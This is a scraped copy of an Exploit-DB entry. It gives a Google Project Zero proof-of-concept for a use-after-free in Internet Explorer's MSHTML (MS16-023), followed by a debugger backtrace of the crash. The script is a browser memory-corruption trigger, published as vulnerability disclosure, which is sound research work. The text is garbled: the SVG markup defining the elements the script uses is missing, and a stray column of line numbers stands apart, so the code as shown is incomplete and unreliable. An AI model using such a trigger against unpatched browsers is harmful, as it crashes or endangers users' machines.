Microsoft Internet Explorer – MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023) - 体验盒子

作者： Google Security Research

日期： 2016-04-05

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/39663/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

<!--

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=691

Minimized PoC:

-->

<script><![CDATA[

function handler() {

inner.setAttribute("viewBox");

}

outer.addEventListener("DOMAttrModified", function () { handler(); });

doc = document.implementation.createDocument("", "", null);

doc.adoptNode(rect.attributes[0]);

]]></script>

</svg>

<!--

Backtrace for reference:

2:052:x86> k 10

ChildEBP RetAddr

WARNING: Stack unwind information not available. Following frames may be wrong.

0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571

0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748

0bb14bdc 67fea3dc verifier_67fe0000!VerifierStopMessage+0x74

0bb14c40 67fe733d verifier_67fe0000!AVrfpDphReportCorruptedBlock+0x10c

0bb14ca4 67fe7495 verifier_67fe0000!AVrfpDphFindBusyMemoryNoCheck+0x7d

0bb14cc8 67feb651 verifier_67fe0000!AVrfpDphFindBusyMemory+0x15

0bb14ce0 67ff0b12 verifier_67fe0000!AvrfpDphCheckPageHeapAllocation+0x41

0bb14cf0 67f93246 verifier_67fe0000!VerifierCheckPageHeapAllocation+0x12

0bb14d4c 60dca53f vfbasics+0x13246

0bb14d68 604cce4e MSHTML!MemoryProtection::HeapFree+0x46

0bb14d70 60b07866 MSHTML!ProcessHeapFree+0x10

0bb14d88 60baac6b MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRe

ct>+0xb6

0bb14de8 60e18b69 MSHTML!PROPERTYDESC::HandleStringProperty+0x110

0bb14e14 607e30e6 MSHTML!PROPERTYDESC::CallHandler+0x855996

0bb14e54 60b83323 MSHTML!CElement::SetAttributeFromPropDesc+0xbe

0bb14ee4 607e2f44 MSHTML!CElement::ie9_setAttributeNSInternal+0x2ee

-->